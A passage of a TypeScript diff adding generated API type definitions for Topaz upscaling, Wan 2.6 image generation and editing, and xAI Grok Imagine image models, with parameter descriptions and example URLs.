3', + 'Wonder 2': 'Wonder 2', + Wonder: 'Wonder', + 'Recover 3': 'Recover 3', + 'Standard MAX': 'Standard MAX', + Redefine: 'Redefine', + 'Recovery V2': 'Recovery V2', + Recovery: 'Recovery', +} as const + +export type InputTopazUpscaleImageGenerativeModelEnumKey = + (typeof inputTopazUpscaleImageGenerativeModelEnum)[keyof typeof inputTopazUpscaleImageGenerativeModelEnum] + +export const inputTopazUpscaleImageGenerativeSubjectDetectionEnum = { + All: 'All', + Foreground: 'Foreground', + Background: 'Background', +} as const + +export type InputTopazUpscaleImageGenerativeSubjectDetectionEnumKey = + (typeof inputTopazUpscaleImageGenerativeSubjectDetectionEnum)[keyof typeof inputTopazUpscaleImageGenerativeSubjectDetectionEnum] + +export type InputTopazUpscaleImageGenerative = { + /** + * @description Denoising level (0.0-1.0). Applies to Redefine model only. + */ + denoise?: number | null + /** + * @description Text prompt to guide generative upscaling (max 1024 chars). Applies to Redefine model only. + */ + prompt?: string | null + /** + * @description Whether to apply face enhancement to the image. Ignored by Wonder 4, which handles face recovery automatically. + * @default true + * @type boolean | undefined + */ + face_enhancement?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Factor to upscale the image by (e.g. 2.0 doubles width and height) + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Detail recovery level (0.0-1.0). Applies to Recovery V2 model only. + */ + detail?: number | null + /** + * @description Enhancement strength for generative upscaling. Applies to Wonder 3 and Wonder 3.5 models. When omitted, Topaz auto-configures it. + */ + enhancement_strength?: InputTopazUpscaleImageGenerativeEnhancementStrengthKey | null + /** + * @description Enable automatic prompt generation for generative upscaling. Applies to Redefine model only. + */ + autoprompt?: boolean | null + /** + * @description Strength of the face enhancement. 0.0 means no enhancement, 1.0 means maximum enhancement. Ignored if face enhancement is disabled. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + face_enhancement_strength?: number + /** + * @description Sharpening level (0.0-1.0). Applies to Redefine model only. + */ + sharpen?: number | null + /** + * @description Output format of the upscaled image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazUpscaleImageGenerativeOutputFormatEnumKey + /** + * @description Creativity level for generative upscaling (1-6). Higher values produce more creative/hallucinated details. Applies to Redefine model only. + */ + creativity?: number | null + /** + * @default false + * @type boolean | undefined + */ + crop_to_fill?: boolean + /** + * @description Creativity level for face enhancement. 0.0 means no creativity, 1.0 means maximum creativity. Ignored if face enhancement is disabled. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + face_enhancement_creativity?: number + /** + * @description Generative upscaling model. Wonder 4 automatically enhances and upscales images with no model-specific controls. Wonder 3.5 offers finer detail and fewer repetitive patterns; Wonder 3 is Topaz's most advanced generative realism model (Wonder 2/Wonder are earlier generations); Recover 3 rebuilds natural detail; Standard MAX is high-quality precision-leaning upscaling; Redefine adds prompt-guided creative detail; Recovery and Recovery V2 rebuild extreme low-resolution images. + * @default 'Wonder 3' + * @type string | undefined + */ + model?: InputTopazUpscaleImageGenerativeModelEnumKey + /** + * @description Subject detection mode for the image enhancement. Applies to Wonder 3, Recovery and Recovery V2 models. + * @default 'All' + * @type string | undefined + */ + subject_detection?: InputTopazUpscaleImageGenerativeSubjectDetectionEnumKey + /** + * @description Url of the image to be upscaled. Wonder 4 supports up to 256 MP input and output. The complete upload request must fit within 500 MB. + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Texture detail level for generative upscaling (1-5). Applies to Redefine model only. + */ + texture?: number | null +} + +export type FileC6Aba944 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleImageGenerative = { + /** + * @description The upscaled image. + * @type object + */ + image: FileC6Aba944 +} + +export const inputTopazUpscaleImagePrecisionSubjectDetectionEnum = { + All: 'All', + Foreground: 'Foreground', + Background: 'Background', +} as const + +export type InputTopazUpscaleImagePrecisionSubjectDetectionEnumKey = + (typeof inputTopazUpscaleImagePrecisionSubjectDetectionEnum)[keyof typeof inputTopazUpscaleImagePrecisionSubjectDetectionEnum] + +export const inputTopazUpscaleImagePrecisionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputTopazUpscaleImagePrecisionOutputFormatEnumKey = + (typeof inputTopazUpscaleImagePrecisionOutputFormatEnum)[keyof typeof inputTopazUpscaleImagePrecisionOutputFormatEnum] + +export const inputTopazUpscaleImagePrecisionModelEnum = { + 'Standard V2': 'Standard V2', + 'High Fidelity V3': 'High Fidelity V3', + 'High Fidelity V2': 'High Fidelity V2', + 'Low Resolution V2': 'Low Resolution V2', + CGI: 'CGI', + 'Text Refine': 'Text Refine', + Faces: 'Faces', +} as const + +export type InputTopazUpscaleImagePrecisionModelEnumKey = + (typeof inputTopazUpscaleImagePrecisionModelEnum)[keyof typeof inputTopazUpscaleImagePrecisionModelEnum] + +export type InputTopazUpscaleImagePrecision = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Enhancement strength (0.01-1.0). Applies to Text Refine model only. + */ + strength?: number | null + /** + * @description Subject detection mode for the image enhancement. + * @default 'All' + * @type string | undefined + */ + subject_detection?: InputTopazUpscaleImagePrecisionSubjectDetectionEnumKey + /** + * @description Creativity level for face enhancement. 0.0 means no creativity, 1.0 means maximum creativity. Ignored if face enhancement is disabled. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + face_enhancement_creativity?: number + /** + * @description Sharpening level (0.0-1.0). Default varies by model. + */ + sharpen?: number | null + /** + * @description Whether to apply face enhancement to the image. + * @default true + * @type boolean | undefined + */ + face_enhancement?: boolean + /** + * @description Output format of the upscaled image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputTopazUpscaleImagePrecisionOutputFormatEnumKey + /** + * @default false + * @type boolean | undefined + */ + crop_to_fill?: boolean + /** + * @description Url of the image to be upscaled + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Strength of the face enhancement. 0.0 means no enhancement, 1.0 means maximum enhancement. Ignored if face enhancement is disabled. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + face_enhancement_strength?: number + /** + * @description Denoising level (0.0-1.0). Default varies by model. + */ + denoise?: number | null + /** + * @description Precision upscaling model. Standard V2 fits most photos; High Fidelity V3/V2 preserve detail in professional shots; Low Resolution V2 recovers compressed sources; CGI targets art and rendered graphics; Text Refine keeps text and shapes crisp; Faces restores facial detail with Face Recovery 3. + * @default 'Standard V2' + * @type string | undefined + */ + model?: InputTopazUpscaleImagePrecisionModelEnumKey + /** + * @description Compression artifact removal level (0.0-1.0). Not supported by the CGI model. + */ + fix_compression?: number | null + /** + * @description Factor to upscale the image by (e.g. 2.0 doubles width and height) + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number +} + +export type File929D1B34 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleImagePrecision = { + /** + * @description The upscaled image. + * @type object + */ + image: File929D1B34 +} + +export type InputTopazUpscaleImageTransparent = { + /** + * @description Url of the image to process. The fixed 4x upscale supports inputs up to 8000 pixels per side. + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Transparent upscaling always outputs PNG to preserve the alpha channel. + * @default 'png' + * @type string | undefined + */ + output_format?: 'png' + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File2Cf1A6Fa = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleImageTransparent = { + /** + * @description The upscaled image. + * @type object + */ + image: File2Cf1A6Fa +} + +export type ImageSize41865658 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputWanV26ImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputWanV26ImageToImageImageSizeKey = + (typeof inputWanV26ImageToImageImageSize)[keyof typeof inputWanV26ImageToImageImageSize] + +/** + * @description Input for Wan 2.6 image editing with reference images (enable_interleave=false) + * @type object + */ +export type InputWanV26ImageToImage = { + /** + * @description Number of images to generate (1-4). Directly affects billing cost. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt describing the desired image. Supports Chinese and English. Max 2000 characters. Example: 'Generate an image using the style of image 1 and background of image 2'. + * @minLength 1 + * @example Place the wizard from image 2 in the ancient library from image 3, holding and studying the magical crystal orb from image 1. The orb's glow illuminates his face with purple and blue light. Floating candles around him, ancient books visible in the background. Mystical, dramatic lighting, fantasy art style, highly detailed. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility (0-2147483647). Same seed produces more consistent results. + */ + seed?: number | null + /** + * @description Reference images for editing (1-3 images required). Order matters: reference as 'image 1', 'image 2', 'image 3' in prompt. Resolution: 384-5000px each dimension. Max size: 10MB each. Formats: JPEG, JPG, PNG (no alpha), BMP, WEBP. + * @example ["https://v3b.fal.media/files/b/0a86d6a7/6smIczyPbvAU3IJ1F5Ok3.png","https://v3b.fal.media/files/b/0a86d6a7/nTYVlOfKLD1FqHAGy7KS3.png","https://v3b.fal.media/files/b/0a86d6ae/6JA70jOe0-pbDtXLF2roV.png"] + * @type array + */ + image_urls: string[] + /** + * @description Output image size. Use presets like 'square_hd', 'landscape_16_9', 'portrait_9_16', or specify exact dimensions with ImageSize(width=1280, height=720). Total pixels must be between 768*768 and 1280*1280. + * @default square_hd + * @example square_hd + * @example landscape_16_9 + * @example portrait_4_3 + */ + image_size?: ImageSize41865658 | InputWanV26ImageToImageImageSizeKey + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, deformed, extra fingers + */ + negative_prompt?: string | null + /** + * @description Enable LLM prompt optimization. Significantly improves results for simple prompts but adds 3-4 seconds processing time. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type File97Dca364 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for Wan 2.6 image editing + * @type object + */ +export type OutputWanV26ImageToImage = { + /** + * @description Generated images in PNG format + * @example [{"url":"https://v3b.fal.media/files/b/0a86d6bb/iSEuXzi3kDy1jnlMCwYuH_output_3.png","content_type":"image/png","file_name":"output_1.png"}] + * @type array + */ + images: File97Dca364[] + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export type ImageSize66Afffaa = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputWanV26TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputWanV26TextToImageImageSizeKey = + (typeof inputWanV26TextToImageImageSize)[keyof typeof inputWanV26TextToImageImageSize] + +/** + * @description Input for Wan 2.6 text-to-image or mixed text-and-image generation (enable_interleave=true) + * @type object + */ +export type InputWanV26TextToImage = { + /** + * @description Text prompt describing the desired image. Supports Chinese and English. Max 2000 characters. + * @minLength 1 + * @example An ancient library floating among clouds, golden hour light streaming through massive windows, photorealistic + * @type string + */ + prompt: string + /** + * @description Maximum number of images to generate (1-5). Actual count may be less depending on model inference. + * @minimum 1 + * @maximum 5 + * @default 1 + * @type integer | undefined + */ + max_images?: number + /** + * @description Output image size. If not set: matches input image size (up to 1280*1280). Use presets like 'square_hd', 'landscape_16_9', or specify exact dimensions. + * @example square_hd + * @example landscape_16_9 + */ + image_size?: ImageSize66Afffaa | InputWanV26TextToImageImageSizeKey | null + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, deformed + */ + negative_prompt?: string | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Optional reference image (0 or 1). When provided, can be used for style guidance. Resolution: 384-5000px each dimension. Max size: 10MB. Formats: JPEG, JPG, PNG (no alpha), BMP, WEBP. + */ + image_url?: string | null +} + +export type File74069C8E = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for Wan 2.6 text-to-image (can include generated text in mixed mode) + * @type object + */ +export type OutputWanV26TextToImage = { + /** + * @description Generated text content (in mixed text-and-image mode). May be None if only images were generated. + */ + generated_text?: string | null + /** + * @description Generated images in PNG format + * @example [{"url":"https://v3b.fal.media/files/b/0a86d6b0/cBXGSUEl3DkTcBnf9IEM0_output_1.png","content_type":"image/png","file_name":"output_1.png"}] + * @type array + */ + images: File74069C8E[] + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export const inputXaiGrokImagineImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputXaiGrokImagineImageOutputFormatEnumKey = + (typeof inputXaiGrokImagineImageOutputFormatEnum)[keyof typeof inputXaiGrokImagineImageOutputFormatEnum] + +export const inputXaiGrokImagineImageResolutionEnum = { + '1k': '1k', + '2k': '2k', +} as const + +export type InputXaiGrokImagineImageResolutionEnumKey = + (typeof inputXaiGrokImagineImageResolutionEnum)[keyof typeof inputXaiGrokImagineImageResolutionEnum] + +export const inputXaiGrokImagineImageAspectRatioEnum = { + auto: 'auto', + '2:1': '2:1', + '20:9': '20:9', + '19.5:9': '19.5:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:19.5': '9:19.5', + '9:20': '9:20', + '1:2': '1:2', +} as const + +export type InputXaiGrokImagineImageAspectRatioEnumKey = + (typeof inputXaiGrokImagineImageAspectRatioEnum)[keyof typeof inputXaiGrokImagineImageAspectRatioEnum] + +export type InputXaiGrokImagineImage = { + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputXaiGrokImagineImageOutputFormatEnumKey + /** + * @description Resolution of the generated image. `1k` for standard resolution, `2k` for high resolution. + * @default '1k' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineImageResolutionEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Aspect ratio of the generated image. Use auto to let the provider choose. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineImageAspectRatioEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of the desired image. + * @maxLength 8000 + * @example Abstract human silhouette, golden particles ready to burst outward representing joy, data visualization style, emotional expression through particles, artistic scientific + * @type string + */ + prompt: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFile0F2C4Eac = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputXaiGrokImagineImage = { + /** + * @description The URL of the generated image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b90b7/9avg_nKJmcVinjQHJR_Ja.jpg"}] + * @type array + */ + images: ImageFile0F2C4Eac[] + /** + * @description The enhanced prompt that was used to generate the image. + */ + revised_prompt?: string | null +} + +export const inputXaiGrokImagineImageEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputXaiGrokImagineImageEditOutputFormatEnumKey = + (typeof inputXaiGrokImagineImageEditOutputFormatEnum)[keyof typeof inputXaiGrokImagineImageEditOutputFormatEnum] + +export const inputXaiGrokImagineImageEditAspectRatioEnum = { + auto: 'auto', + '2:1': '2:1', + '20:9': '20:9', + '19.5:9': '19.5:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:19.5': '9:19.5', + '9:20': '9:20', + '1:2': '1:2', +} as const + +export type InputXaiGrokImagineImageEditAspectRatioEnumKey = + (typeof inputXaiGrokImagineImageEditAspectRatioEnum)[keyof typeof inputXaiGrokImagineImageEditAspectRatioEnum] + +export const inputXaiGrokImagineImageEditResolutionEnum = { + '1k': '1k', + '2k': '2k', +} as const + +export type InputXaiGrokImagineImageEditResolutionEnumKey = + (typeof inputXaiGrokImagineImageEditResolutionEnum)[keyof typeof inputXaiGrokImagineImageEditResolutionEnum] + +export type InputXaiGrokImagineImageEdit = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of URLs of the images to edit. A maximum of 3 images are supported. + * @example ["https://v3b.fal.media/files/b/0a8b911d/Abk8vStrvmSPlzUqI_NN3_image_043.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputXaiGrokImagineImageEditOutputFormatEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Aspect ratio of the edited image. When set to `auto` (the default), the output preserves the aspect ratio of the first input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineImageEditAspectRatioEnumKey + /** + * @description Resolution of the generated image. `1k` for standard resolution, `2k` for high resolution. + * @default '1k' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineImageEditResolutionEnumKey + /** + * @description Text description of the desired image. + * @maxLength 8000 + * @example Make this scene more realistic but still keep the game vibes + * @type string + */ + prompt: string +} + +export type ImageFile13Ca5B53 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputXaiGrokImagineImageEdit = { + /** + * @description The URL of the edited image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b911d/XMqiVoO2ECXUZEUYmPl2l.jpg"}] + * @type array + */ + images: ImageFile13Ca5B53[] + /** + * @description The enhanced prompt that was used to generate the image. + */ + revised_prompt?: string | null +} + +export const inputXaiGrokImagineImageQualityEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputXaiGrokImagineImageQualityEditOutputFormatEnumKey = + (typeof inputXaiGrokImagineImageQualityEditOutputFormatEnum)[keyof typeof inputXaiGrokImagineImageQualityEditOutputFormatEnum] + +export const inputXaiGrokImagineImageQualityEditResolutionEnum = { + '1k': '1k', + '2k': '2k', +} as const + +export type InputXaiGrokImagineImageQualityEditResolutionEnumKey = + (typeof inputXaiGrokImagineImageQualityEditResolutionEnum)[keyof typeof inputXaiGrokImagineImageQualityEditResolutionEnum] + +export const inputXaiGrokImagineImageQualityEditAspectRatioEnum = { + auto: 'auto', + '2:1': '2:1', + '20:9': '20:9', + '19.5:9': '19.5:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:19.5': '9:19.5', + '9:20': '9:20', + '1:2': '1:2', +} as const + +export type InputXaiGrokImagineImageQualityEditAspectRatioEnumKey = + (typeof inputXaiGrokImagineImageQualityEditAspectRatioEnum)[keyof typeof inputXaiGrokImagineImageQualityEditAspectRatioEnum] + +export type InputXaiGrokImagineImageQualityEdit = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Text description of the desired image. + * @maxLength 8000 + * @example Make this scene more realistic but still keep the game vibes + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of URLs of the images to edit. A maximum of 3 images are supported. + * @example ["https://v3b.fal.media/files/b/0a8b911d/Abk8vStrvmSPlzUqI_NN3_image_043.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputXaiGrokImagineImageQualityEditOutputFormatEnumKey + /** + * @description Resolution of the generated image. `1k` for standard resolution, `2k` for high resolution. + * @default '1k' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineImageQualityEditResolutionEnumKey + /** + * @description Aspect ratio of the edited image. When set to `auto` (the default), the output preserves the aspect ratio of the first input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineImageQualityEditAspectRatioEnumKey +} + +export type ImageFile09Eb3765 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputXaiGrokImagineImageQualityEdit = { + /** + * @description The URL of the edited image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b911d/XMqiVoO2ECXUZEUYmPl2l.jpg"}] + * @type array + */ + images: ImageFile09Eb3765[] + /** + * @description The enhanced prompt that was used to generate the image. + */ + revised_prompt?: string | null +} + +export const inputXaiGrokImagineImageQualityTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputXaiGrokImagineImageQualityTextToImageOutputFormatEnumKey = + (typeof inputXaiGrokImagineImageQualityTextToImageOutputFormatEnum)[keyof typeof inputXaiGrokImagineImageQualityTextToImageOutputFormatEnum] + +export const inputXaiGrokImagineImageQualityTextToImageResolutionEnum = { + '1k': '1k', + '2k': '2k', +} as const + +export type InputXaiGrokImagineImageQualityTextToImageResolutionEnumKey = + (typeof inputXaiGrokImagineImageQualityTextToImageResolutionEnum)[keyof typeof inputXaiGrokImagineImageQualityTextToImageResolutionEnum] + +export const inputXaiGrokImagineImageQualityTextToImageAspectRatioEnum = { + '2:1': '2:1', + '20:9': '20:9', + '19.5:9': '19.5:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:19.5': '9:19.5', + '9:20': '9:20', + '1:2': '1:2', +} as const + +export type InputXaiGrokImagineImageQualityTextToImageAspectRatioEnumKey = + (typeof inputXaiGrokImagineImageQualityTextToImageAspectRatioEnum)[keyof typeof inputXaiGrokImagineImageQualityTextToImageAspectRatioEnum] + +export type InputXaiGrokImagineImageQualityTextToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputXaiGrokImagineImageQualityTextToImageOutputFormatEnumKey + /** + * @description Resolution of the generated image. `1k` for standard resolution, `2k` for high resolution. + * @default '1k' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineImageQualityTextToImageResolutionEnumKey + /** + * @description Text description of the desired image. + * @maxLength 8000 + * @example Abstract human silhouette, golden particles ready to burst outward representing joy, data visualization style, emotional expression through particles, artistic scientific + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineImageQualityTextToImageAspectRatioEnumKey +} + +export type ImageFile93B37B06 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputXaiGrokImagineImageQualityTextToImage = { + /** + * @description The URL of the generated image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b90b7/9avg_nKJmcVinjQHJR_Ja.jpg"}] + * @type array + */ + images: ImageFile93B37B06[] + /** + * @description The enhanced prompt that was used to generate the image. + */ + revised_prompt?: string | null +} + +export const inputXaiGrokImagineImageV20EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputXaiGrokImagineImageV20EditOutputFormatEnumKey = + (typeof inputXaiGrokImagineImageV20EditOutputFormatEnum)[keyof typeof inputXaiGrokImagineImageV20EditOutputFormatEnum] + +export const inputXaiGrokImagineImageV20EditAspectRatioEnum = { + '2:1': '2:1', + '20:9': '20:9', + '19.5:9': '19.5:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:19.5': '9:19.5', + '9:20': '9:20', + '1:2': '1:2', + auto: 'auto', + '21:9': '21:9', + '5:2': '5:2', +} as const + +export type InputXaiGrokImagineImageV20EditAspectRatioEnumKey = + (typeof inputXaiGrokImagineImageV20EditAspectRatioEnum)[keyof typeof inputXaiGrokImagineImageV20EditAspectRatioEnum] + +export const inputXaiGrokImagineImageV20EditResolutionEnum = { + '1k': '1k', + '1.5k': '1.5k', + '2k': '2k', +} as const + +export type InputXaiGrokImagineImageV20EditResolutionEnumKey = + (typeof inputXaiGrokImagineImageV20EditResolutionEnum)[keyof typeof inputXaiGrokImagineImageV20EditResolutionEnum] + +export const inputXaiGrokImagineImageV20EditQualityEnum = { + low: 'low', + medium: 'medium', + auto: 'auto', +} as const + +export type InputXaiGrokImagineImageV20EditQualityEnumKey = + (typeof inputXaiGrokImagineImageV20EditQualityEnum)[keyof typeof inputXaiGrokImagineImageV20EditQualityEnum] + +export type InputXaiGrokImagineImageV20Edit = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of URLs of the images to edit. A maximum of 5 images are supported. + * @example ["https://v3b.fal.media/files/b/0a8b911d/Abk8vStrvmSPlzUqI_NN3_image_043.png"] + * @type array | undefined + */ 